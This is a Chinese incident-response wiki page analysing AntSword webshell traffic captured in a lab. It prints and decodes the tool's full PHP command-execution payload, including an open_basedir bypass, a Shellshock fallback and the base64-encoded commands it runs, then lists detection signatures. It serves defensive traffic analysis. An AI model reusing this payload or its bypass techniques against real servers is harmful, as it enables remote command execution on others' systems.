应急响应
应急响应概述
Windows入侵排查
Windows日志分析
Linux入侵排查
Linux日志分析
Windows入侵排查【详细版】
Linux入侵排查【详细版】
蚁剑流量分析
冰蝎流量分析
中国菜刀流量分析
Webshell管理工具流量特征
-
+
首页
蚁剑流量分析
蚁剑项目地址:https://github.com/AntSwordProject/ 小马拉大马,通过一句话木马链接,操作大马就是蚁剑   使用wireshark进行抓包获取蚁剑流量   ## 流量分析 蚁剑的原始流量 ```http POST /master/hackable/uploads/test.php HTTP/1.1 Host: 192.168.111.129 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0 Content-Type: application/x-www-form-urlencoded Content-Length: 4591 Connection: close e82b77c74852d3=a6Y2QgIi92YXIvd3d3L21hc3Rlci9oYWNrYWJsZS91cGxvYWRzIjt3aG9hbWk7ZWNobyA3NjVjZTk7cHdkO2VjaG8gYTgzMjI%3D&k0f695a4c3d7fc=enL2Jpbi9zaA%3D%3D&pass=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24oparr%3Dpreg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24opdir)%3B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24tmdir%3D%22.b6e72%22%3B%40mkdir(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%22..%22)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24oparr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24ocwd.%22%2F%22.%24tmdir)%3B%7D%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22692036%22.%22ca8510%22%3Becho%20%40asenc(%24output)%3Becho%20%22b6e6%22.%220283%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(substr(%24_POST%5B%22k0f695a4c3d7fc%22%5D%2C2))%3B%24s%3Dbase64_decode(substr(%24_POST%5B%22e82b77c74852d3%22%5D%2C2))%3B%24envstr%3D%40base64_decode(substr(%24_POST%5B%22u61bc3c18390c2%22%5D%2C2))%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(substr(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%22%2C%20%22%22%2C%20%22%22%2C%20%22-bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dnew%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&u61bc3c18390c2=pp ``` url_decode后可以得到:在解码后的内容中,有两个关键点: 在第一行代码中存在了两个POST请求的内容:分别是e82b77c74852d3和k0f695a4c3d7fc,这两个值是没有办法通过base64解码出来的,原因还得看代码的33行开始。 代码33行你会发现这两个值的内容需要从第三个字符才开始取,然后再base64_decode 格式化之后: ```php e82b77c74852d3=a6Y2QgIi92YXIvd3d3L21hc3Rlci9oYWNrYWJsZS91cGxvYWRzIjt3aG9hbWk7ZWNobyA3NjVjZTk7cHdkO2VjaG8gYTgzMjI=&k0f695a4c3d7fc=enL2Jpbi9zaA==&pass=@ini_set("display_errors", "0");@set_time_limit(0); $opdir = @ini_get("open_basedir"); if ($opdir) { $oparr = preg_split("/\\\\|\//", $opdir); $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); $tmdir = ".5062e111e";@ mkdir($tmdir);@ chdir($tmdir);@ ini_set("open_basedir", ".."); for ($i = 0; $i < sizeof($oparr); $i++) {@ chdir(".."); }@ ini_set("open_basedir", "/");@ rmdir($ocwd. "/".$tmdir); }; function asenc($out) { return $out; }; function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "6d29". "1125"; echo@ asenc($output); echo "699". "aa2b"; } ob_start(); try { $p = base64_decode(substr($_POST["k0f695a4c3d7fc"], 2)); #这里 $s = base64_decode(substr($_POST["e82b77c74852d3"], 2)); $envstr = @base64_decode(substr($_POST["u61bc3c18390c2"], 2)); $d = dirname($_SERVER["SCRIPT_FILENAME"]); $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\""; if (substr($d, 0, 1) == "/") {@ putenv("PATH=".getenv("PATH"). ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); } else {@ putenv("PATH=".getenv("PATH"). ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;"); } if (!empty($envstr)) { $envarr = explode("|||asline|||", $envstr); foreach($envarr as $v) { if (!empty($v)) {@ putenv(str_replace("|||askey|||", "=", $v)); } } } $r = "{$p} {$c}"; function fe($f) { $d = explode(",", @ini_get("disable_functions")); if (empty($d)) { $d = array(); } else { $d = array_map('trim', array_map('strtolower', $d)); } return (function_exists($f) && is_callable($f) && !in_array($f, $d)); }; function runshellshock($d, $c) { if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) { if (strstr(readlink("/bin/sh"), "bash") != FALSE) { $tmp = tempnam(sys_get_temp_dir(), 'as'); putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1"); if (fe('error_log')) { error_log("a", 1); } else { mail("a@127.0.0.1", "", "", "-bv"); } } else { return False; } $output = @file_get_contents($tmp);@ unlink($tmp); if ($output != "") { print($output); return True; } } return False; }; function runcmd($c) { $ret = 0; $d = dirname($_SERVER["SCRIPT_FILENAME"]); if (fe('system')) {@ system($c, $ret); } elseif(fe('passthru')) {@ passthru($c, $ret); } elseif(fe('shell_exec')) { print(@shell_exec($c)); } elseif(fe('exec')) {@ exec($c, $o, $ret); print(join(" ", $o)); } elseif(fe('popen')) { $fp = @popen($c, 'r'); while (!@feof($fp)) { print(@fgets($fp, 2048)); }@ pclose($fp); } elseif(fe('proc_open')) { $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); while (!@feof($io[1])) { print(@fgets($io[1], 2048)); } while (!@feof($io[2])) { print(@fgets($io[2], 2048)); }@ fclose($io[1]);@ fclose($io[2]);@ proc_close($p); } elseif(fe('antsystem')) {@ antsystem($c); } elseif(runshellshock($d, $c)) { return $ret; } elseif(substr($d, 0, 1) != "/" && @class_exists("COM")) { $w = new COM('WScript.shell'); $e = $w - > exec($c); $so = $e - > StdOut(); $ret. = $so - > ReadAll(); $se = $e - > StdErr(); $ret. = $se - > ReadAll(); print($ret); } else { $ret = 127; } return $ret; }; $ret = @runcmd($r." 2>&1"); print($ret != 0) ? "ret={$ret}" : "";; } catch (Exception $e) { echo "ERROR://".$e - > getMessage(); }; asoutput(); die(); & u61bc3c18390c2 = pp ``` > 关键参数Base64解码 ```php e82b77c74852d3=a6Y2QgIi92YXIvd3d3L21hc3Rlci9oYWNrYWJsZS91cGxvYWRzIjt3aG9hbWk7ZWNobyA3NjVjZTk7cHdkO2VjaG8gYTgzMjI= k0f695a4c3d7fc=enL2Jpbi9zaA== ## 上面两个值,从第三个字符开始取,随后base64解码后得到: cd "/var/www/master/hackable/uploads";whoami;echo 765ce9;pwd;echo a8322 /bin/sh ``` ## 总结 蚁剑的很多代码源于中国菜刀,他的连接流量与中国菜刀很相似,默认情况下也只是base64加密了一下,但是蚁剑可以扩充性很好,可以对进行加密、混淆等绕过处理。 其中流量最中明显的特征为@ini_set("display_errors","0");这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,所以较好发现。由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x......=”这种形式(下划线可替换为其他)
毛林
2025年11月1日 14:29
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码